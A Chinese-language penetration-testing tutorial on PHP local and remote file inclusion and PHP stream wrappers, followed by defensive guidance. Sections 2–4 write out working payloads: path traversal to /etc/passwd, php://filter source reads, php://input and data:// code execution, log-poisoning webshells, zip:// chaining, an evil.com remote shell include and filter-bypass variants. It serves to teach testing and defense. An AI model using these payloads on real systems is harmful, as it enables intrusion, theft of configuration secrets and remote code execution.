1. 项目概述:一次对文件包含漏洞的深度剖析

在Web安全领域,文件包含漏洞(File Inclusion Vulnerability)是一个经久不衰且极具破坏力的议题。它不像SQL注入那样广为人知,但其潜在的危害范围,从本地文件窃取到远程代码执行,常常让一个看似坚固的系统瞬间门户大开。最近在内部渗透测试和漏洞赏金项目中,我再次遇到了几起由文件包含漏洞引发的安全事件,其利用手法之巧妙,尤其是PHP伪协议(PHP Wrappers)的“助攻”,让我觉得有必要将这块内容重新梳理一遍。这不仅仅是给安全从业者的一份备忘录,更是给广大开发者敲响的警钟——一个看似无害的 include require 语句,如果处理不当,就可能成为攻击者长驱直入的通道。

简单来说,文件包含漏洞允许攻击者通过Web应用程序的动态文件包含功能,将非预期的文件(如系统配置文件、日志文件,甚至是远程服务器上的恶意脚本)包含进来并执行。根据包含目标的位置,可分为本地文件包含(LFI)和远程文件包含(RFI)。而PHP伪协议,如 php://filter php://input data:// 等,则为攻击者提供了强大的“武器库”,能够绕过一些过滤,进行数据读取、编码转换甚至直接执行代码。本文将从一个实战者的视角,带你从本地文件包含的基础挖掘开始,逐步深入到利用伪协议进行高级利用,并探讨如何构建有效的防御体系。无论你是刚入门的安全爱好者,还是经验丰富的开发工程师,理解这套攻击链都至关重要。

2. 漏洞原理与核心机制拆解

要有效防御,必须先透彻理解攻击是如何发生的。文件包含漏洞的根源在于程序对用户输入的控制不严,将用户可控的数据直接或间接地拼接进了文件包含函数的路径参数中。

2.1 文件包含函数与用户输入的交汇点

在PHP中,主要的文件包含函数有四个: include() require() include_once() require_once() 。它们的区别主要在于错误处理( require 在失败时产生致命错误, include 产生警告)和重复包含检查。漏洞产生的典型场景如下:

// 漏洞代码示例:从GET参数中直接获取文件名并包含
$page = $_GET['page'];
include('/pages/' . $page . '.php');

// 或者更隐蔽的间接控制
$module = $_GET['module'];
$file = 'modules/' . $module . '/controller.php';
include($file);

攻击者的目标就是控制 $page $module 这些变量,使其指向非预期的文件路径。例如,将 page 参数设置为 ../../../etc/passwd ,就可能实现本地文件包含,读取系统敏感文件。

2.2 本地文件包含(LFI)的深度利用

LFI的直接影响是读取服务器上的任意文件。但这仅仅是开始。在实战中,LFI常与其他漏洞或服务器特性结合,产生更严重的后果:

  1. 日志文件注入与代码执行 :这是LFI升级为远程代码执行(RCE)的经典路径。如果Web服务器(如Apache)的访问日志、错误日志或应用日志文件可读,攻击者可以尝试将PHP代码注入到日志中(例如,通过User-Agent头部携带 <?php system($_GET[‘cmd’]);?> ),然后通过LFI漏洞包含这个日志文件。由于日志文件被当作PHP脚本解析,其中的恶意代码就会被执行。
  2. Session文件包含 :PHP的Session文件通常存储在 /tmp 或特定目录下,文件名包含Session ID。如果攻击者能预测或获取到Session文件路径,并且能向Session中注入可控数据(例如通过表单污染 $_SESSION ),那么通过LFI包含该Session文件同样可能执行代码。
  3. /proc/self/environ 文件利用 :在Linux系统中, /proc/self/environ 文件包含了当前进程的环境变量。如果PHP以CGI模式运行,攻击者可以通过HTTP请求头(如 User-Agent )注入环境变量,然后通过LFI包含 /proc/self/environ 来执行代码。

注意 :利用日志或Session文件进行RCE的成功率高度依赖于服务器配置,如日志文件路径、权限、PHP是否在Web服务器进程中运行(对于Nginx+PHP-FPM模式,包含日志文件通常无法执行PHP)。但这并不妨碍攻击者进行尝试,安全测试时必须覆盖这些场景。

2.3 远程文件包含(RFI)的条件与演变

RFI比LFI更直接,它允许包含远程服务器上的文件。其利用条件更为苛刻: allow_url_include 配置项必须为 On (默认是 Off )。一旦开启,攻击者可以这样利用:

http://vulnerable-site.com/index.php?page=http://evil.com/shell.txt

这里的 shell.txt 是一个包含PHP代码的文本文件。当被包含时,其中的代码会在目标服务器上执行。由于该配置的极端危险性,现代PHP版本和主机环境极少开启它,这使得“纯”RFI漏洞在现实中已不常见。然而,攻击者的目光转向了PHP内置的伪协议,它们提供了一种“曲线救国”的RFI方式。

3. PHP伪协议:漏洞利用的“瑞士军刀”

当直接RFI被禁用时,PHP伪协议就成了攻击者的王牌。它们本质上是PHP内置的、用于访问各种输入/输出流的封装器。在文件包含的语境下,它们能巧妙地绕过路径限制和部分过滤。

3.1 php://filter 协议:文件读取与编码转换

php://filter 是信息泄露中最常用的伪协议。它允许你对数据流进行过滤处理(如编码转换)。其基本格式为: php://filter/过滤器/resource=目标文件

  • 直接读取源码 :这是最基础的用途,用于读取PHP文件源码,因为直接通过Web访问 .php 文件会被解析执行,看不到源代码。

    index.php?file=php://filter/read=convert.base64-encode/resource=config.php
    

    这行参数会读取 config.php 文件的内容,并经过Base64编码后输出。攻击者解码后即可获得数据库密码等敏感配置信息。这里的 convert.base64-encode 就是一个过滤器。

  • 过滤器链的妙用 php://filter 支持多个过滤器串联,形成过滤器链。这在绕过某些 <?php 标签检查时特别有用。例如,有些WAF或自定义检查会阻止包含内容中出现 php 标签。攻击者可以使用 string.rot13 convert.iconv.* 过滤器进行转换。

    index.php?file=php://filter/read=convert.base64-encode|string.rot13/resource=upload.php
    

    这个链会先对 upload.php 的内容进行rot13编码,再进行Base64编码。虽然增加了复杂度,但原理相同。

实操心得 :在测试时,不要只尝试 resource=index.php 。要系统地尝试所有可能存在的敏感文件,如 config.php database.php ../config/db.ini .env /proc/self/cmdline (查看进程启动命令)等。养成一个自己的“敏感路径字典”非常重要。

3.2 php://input 协议:直接执行POST代码

php://input 是一个只读流,用于访问请求的原始数据(即HTTP POST请求的body部分)。当 allow_url_include On 时,它可以被用于直接执行POST过去的PHP代码。

攻击步骤:

  1. 发送一个POST请求到存在漏洞的URL。
  2. 在请求体中直接写入PHP代码,例如: <?php system(‘id’); ?>
  3. 将文件包含参数指向 php://input
POST /index.php?file=php://input HTTP/1.1
...
<?php echo shell_exec($_GET['cmd']); ?>

这样,POST body中的代码就会被服务器执行。即使 allow_url_include Off ,在某些特定配置或结合其他漏洞(如SSRF)时,也可能被利用。

3.3 data:// 协议:内联数据包含

data:// 协议允许在URI中直接嵌入数据。其格式为: data://[MIME-type][;charset=<encoding>][;base64],<data> 。它提供了一种“无文件”的代码执行方式。

  • 直接执行
    index.php?file=data://text/plain,<?php phpinfo();?>
    
  • Base64编码绕过 :如果WAF检查了 <?php 标签,可以使用Base64编码。
    index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
    
    (其中 PD9waHAgcGhwaW5mbygpOz8+ <?php phpinfo();?> 的Base64编码)

data:// 协议的有效性也依赖于 allow_url_include 配置。但由于它将代码直接内联在URL中,无需外部服务器,因此在条件满足时非常方便。

3.4 其他相关协议与组合利用

  • zip:// 与 phar:// :这两个协议常用于反序列化漏洞和文件上传结合利用。攻击者可以上传一个包含恶意脚本的ZIP或PHAR(PHP归档)文件,然后通过 zip://archive.zip#shell.php phar://archive.phar/shell.php 这样的路径去包含执行其中的文件。这完全绕过了对文件后缀的检查,因为最终被解析的是归档文件内部的代码。
  • expect:// :这个协议允许执行系统命令,但需要安装并启用PECL的 expect 扩展,在生产环境中极为罕见,但安全测试时也应知晓。

组合拳示例 :假设一个站点存在文件上传功能,但会对上传图片的内容做简单检查(如图片头)。攻击者可以制作一个包含PHP代码的图片马,上传后获得路径 /uploads/evil.jpg 。同时,该站点存在LFI漏洞。此时,利用 php://filter 无法直接执行图片马中的代码(因为 <?php 标签在二进制中被破坏)。但可以结合 zip:// :将图片马打包成ZIP,上传ZIP文件,然后利用LFI包含 zip:///absolute/path/to/uploads/evil.zip%23shell.php # 需要编码为 %23 )来执行其中的PHP代码。

4. 漏洞挖掘与手动测试实战指南

理解了原理和武器,下一步就是如何主动发现它。自动化工具(如Burp Suite的Scanner, sqlmap的 --file-include 参数)能帮我们快速扫描,但手动测试对于理解漏洞本质和应对复杂场景不可或缺。

4.1 测试点识别与参数枚举

首先,需要找到所有可能接受文件路径的参数。这些参数名可能非常明显,如 file page load template ,也可能比较隐蔽,如 module action lang

  1. 静态分析 :如果能有源码(白盒测试或开源项目),直接搜索 include require include_once require_once fopen file_get_contents 等函数,追踪其参数来源。
  2. 动态爬取与模糊测试 :使用爬虫(如Burp的爬虫)收集所有链接和参数。然后对每个可能的参数进行模糊测试(Fuzzing)。可以准备一个包含以下内容的字典:
    • 路径遍历序列: ../../../../etc/passwd ....//....//....//etc/passwd (用于绕过简单的 ../ 过滤)。
    • PHP伪协议Payload: php://filter/convert.base64-encode/resource=index.php data://text/plain,test
    • 常见敏感文件路径:Windows和Linux的系统文件、配置文件、日志文件路径。

4.2 手动测试流程与技巧

一个系统化的手动测试流程如下:

步骤一:基础LFI测试 尝试包含一个已知存在的Web文件,使用相对路径和绝对路径。

?file=../../../../etc/passwd
?file=/etc/passwd
?file=C:\Windows\System32\drivers\etc\hosts

观察响应是文件内容、错误信息还是空白。如果返回了 /etc/passwd 的内容,恭喜,LFi存在。

步骤二:路径截断技巧(针对旧版本PHP) 在PHP 5.3.4之前,存在空字节( %00 )截断漏洞。如果代码在包含路径后添加了固定后缀(如 .php ),可以用 %00 来截断。

?file=../../../../etc/passwd%00

现代PHP已修复此漏洞,但测试旧系统时仍需留意。

步骤三:PHP伪协议测试 依次测试各个伪协议,观察响应变化。

?file=php://filter/convert.base64-encode/resource=index.php // 查看是否返回Base64编码的源码
?file=php://input // 同时发POST请求,看是否执行
?file=data://text/plain,<?php echo ‘test’;?> // 或Base64编码版
?file=zip:///path/to/upload.zip%23shell.php // 结合文件上传测试

对于 php://filter ,如果返回乱码或异常,尝试解码(Base64、rot13)看看是否是源码。

步骤四:日志文件注入测试 如果发现LFI但无法直接RCE,尝试日志注入。

  1. 发送一个请求,在 User-Agent Referer 中携带PHP代码: <?php system($_GET[‘c’]);?>
  2. 猜测或探测日志文件路径(如 /var/log/apache2/access.log /var/log/nginx/access.log /proc/self/fd/XX )。
  3. 通过LFI包含该日志文件: ?file=../../../../var/log/apache2/access.log&c=id
  4. 观察响应中是否执行了 id 命令。

注意事项 :日志注入的成功率受很多因素影响。首先,PHP代码必须原样写入日志(某些日志格式化会破坏标签)。其次,包含日志文件时,PHP解释器必须能解析它(在Nginx+PHP-FPM模式下,日志由Nginx记录,PHP-FPM进程无法执行它)。最后,你需要有日志文件的读权限。

4.3 绕过常见过滤机制

开发人员和安全设备会设置一些过滤,常见绕过方法如下:

  • 过滤 ../ :尝试使用 ....// ..\/ %2e%2e%2f (URL编码)等变体。或者使用绝对路径 /etc/passwd
  • 过滤 http:// https:// (防RFI) :尝试使用 HtTp:// (大小写混淆)、 http://evil.com@localhost (利用@)、 http://localhost#.evil.com (利用#)等方式。对于伪协议,则直接使用 php:// data:// 等。
  • 添加固定后缀 :如果代码自动添加 .php ,尝试利用 ? # 来构造一个无效的查询字符串或锚点,使后缀成为URL的一部分而不影响包含。
    ?file=http://evil.com/shell.txt?
    // 最终变成 include(‘http://evil.com/shell.txt?.php’),.php成为URL的query一部分,不影响远程txt文件的获取。
    
    (这需要 allow_url_include 开启)
  • 编码绕过 :对关键字符进行URL编码、双重URL编码、Unicode编码等。例如, ../ 可以编码为 %2e%2e%2f %252e%252e%252f (双重编码)。

5. 防御策略与安全开发实践

知道了如何攻击,防御的思路就清晰了:核心原则是“白名单”和“非直接”。

5.1 输入验证:使用白名单而非黑名单

绝对不要试图通过过滤 ../ http:// 等关键词来防御,黑名单永远有遗漏。唯一可靠的方法是白名单。

// 安全的做法:定义允许包含的文件名映射
$allowed_pages = [
    ‘home’ => ‘home.php’,
    ‘about’ => ‘about.php’,
    ‘contact’ => ‘contact.php’,
];

$page_key = $_GET[‘page’];
if (array_key_exists($page_key, $allowed_pages)) {
    include(‘./templates/’ . $allowed_pages[$page_key]);
} else {
    include(‘./templates/error.php’); // 或直接die(‘Invalid page’);
}

这样,用户输入只是一个“键”,真正的文件路径由程序控制,完全隔离了用户输入与文件系统。

5.2 禁用危险的PHP配置

php.ini 中,确保以下配置处于安全状态:

allow_url_fopen = Off // 禁用URL形式的文件打开函数,影响部分伪协议
allow_url_include = Off // 必须为Off!这是禁用RFI和危险伪协议的关键

open_basedir 设置为Web根目录,限制PHP可访问的文件系统范围。

5.3 使用安全的文件包含函数或方法

如果必须动态包含,可以考虑以下方式:

  • 使用 basename() 函数 basename() 会去掉路径中的目录部分,只返回文件名。但这只能防止路径遍历,无法防止包含非预期文件。

    $file = basename($_GET[‘file’]);
    include(‘./includes/’ . $file . ‘.php’);
    

    攻击者仍然可以通过 file=../../etc/passwd 得到 passwd.php ,虽然通常不存在,但并非绝对安全。

  • 直接使用完整的相对或绝对路径 :避免任何形式的拼接。

    // 根据业务逻辑直接指定
    if ($section == ‘news’) {
        include(‘./modules/news/controller.php’);
    }
    

5.4 文件操作上下文安全

  • 设置严格的目录权限 :确保Web目录以外的文件(如 /etc/ /home/ )对Web服务器用户(如www-data, nobody)不可读。
  • 日志文件安全 :将Web日志文件存放在Web根目录之外,并设置适当的权限(如仅root可读)。
  • Session安全 :使用 php.ini 中的 session.save_path 将Session文件存放在非公开目录,并考虑使用 session.serialize_handler 或自定义Session处理器来增强安全性。

5.5 安全开发生命周期(SDL)集成

将文件包含漏洞的检查纳入代码审计、自动化扫描(SAST/DAST)和渗透测试的 checklist 中。在代码审查时,对每一个动态包含文件的地方都要重点审查。

6. 常见问题与排查技巧实录

在实际渗透测试和应急响应中,会遇到各种奇怪的情况。这里记录几个典型问题和排查思路。

问题1:测试时,包含 /etc/passwd 成功,但包含日志文件或Session文件时返回空白或错误。

  • 排查思路
    1. 确认路径 :你使用的日志文件路径准确吗?尝试使用 /proc/self/fd/ 目录下的文件描述符,它可能指向当前进程打开的日志文件。
    2. 确认权限 :Web进程用户是否有权读取该日志文件?使用 ?file=php://filter/resource=/proc/self/cwd/../../var/log/nginx/error.log 尝试, /proc/self/cwd 是当前工作目录的符号链接。
    3. 确认解析 :包含的文件是否被当作PHP解析?在包含的URL后添加一个参数如 ?a=<?php echo ‘test’;?> ,然后查看响应源码,看这段代码是原样输出还是被注释/消失了?如果原样输出,说明没有被解析。这在Nginx+PHP-FPM架构下很常见。
    4. 检查日志格式 :你的注入代码是否被日志系统转义或截断了?查看日志文件的实际内容(通过LFI读取),确认 <?php ?> 标签是否完整存在。

问题2:使用 php://filter 读取PHP文件,返回的是乱码或部分内容,不是完整的Base64编码。

  • 排查思路
    1. 输出缓冲 :目标PHP文件可能非常大,或者包含了一些导致输出缓冲问题的函数。尝试读取一个小一点的、简单的PHP文件。
    2. 过滤器链顺序 :确保过滤器顺序正确。 read= 后面跟的是过滤器链。复杂的链可能会出错。
    3. 编码问题 :文件本身可能是GBK等编码,而输出是UTF-8,导致乱码。可以尝试使用 convert.iconv.UTF-8.UTF-8 (实际上不转换)或 convert.iconv.UTF-8.ASCII 等过滤器先处理一下。
    4. 被截断 :响应可能被Web服务器或应用限制了长度。查看HTTP响应头中的 Content-Length 是否远小于预期。

问题3:在测试 data:// php://input 协议时,服务器返回了 allow_url_include 被禁用的警告,但攻击载荷似乎还是被执行了(如触发了反连平台)。

  • 排查思路 :这可能是“条件竞争”或“错误处理”导致的假象。有些框架或自定义错误处理器在遇到包含错误时,可能会将参数内容记录到日志,而日志如果可包含,就可能形成二次攻击链。仔细检查响应内容,确认是直接执行了代码,还是仅仅触发了错误。使用一个无害的测试载荷,如 <?php echo md5(‘test’);?> ,并检查响应中是否出现了对应的md5值,这是最直接的证据。

问题4:开发声称使用了白名单,但测试中还是发现了疑似漏洞。

  • 排查思路
    1. 白名单绕过 :检查白名单的实现逻辑。是严格匹配( === )还是模糊匹配( strpos )?是否区分大小写? $page 参数是否在包含前经过了 urldecode 等函数处理,可能导致多重编码绕过?
    2. 其他入口点 :漏洞可能不在主要的 page 参数,而在其他看似无关的参数,如 lang (语言文件包含)、 skin (主题包含)、 debug (调试信息包含)等。
    3. 框架特性 :某些PHP框架(尤其是老旧或自研的)为了实现模块化加载,可能会在底层有动态包含机制,而开发人员并不完全知晓。需要阅读框架源码或文档。

文件包含漏洞的挖掘与防御是一场持续的攻防博弈。攻击手法在进化,防御措施也需要不断加固。最根本的,还是在开发者心中牢固树立“一切输入皆不可信”的安全意识,并在代码层面落实最小权限和正面验证原则。每一次成功的防御,都源于对攻击原理的深刻理解。希望这篇从本地到远程、从原理到实战的剖析,能为你筑起更坚固的防线提供实实在在的砖瓦。在安全的世界里,知其然并知其所以然,永远是最有力的武器。

更多推荐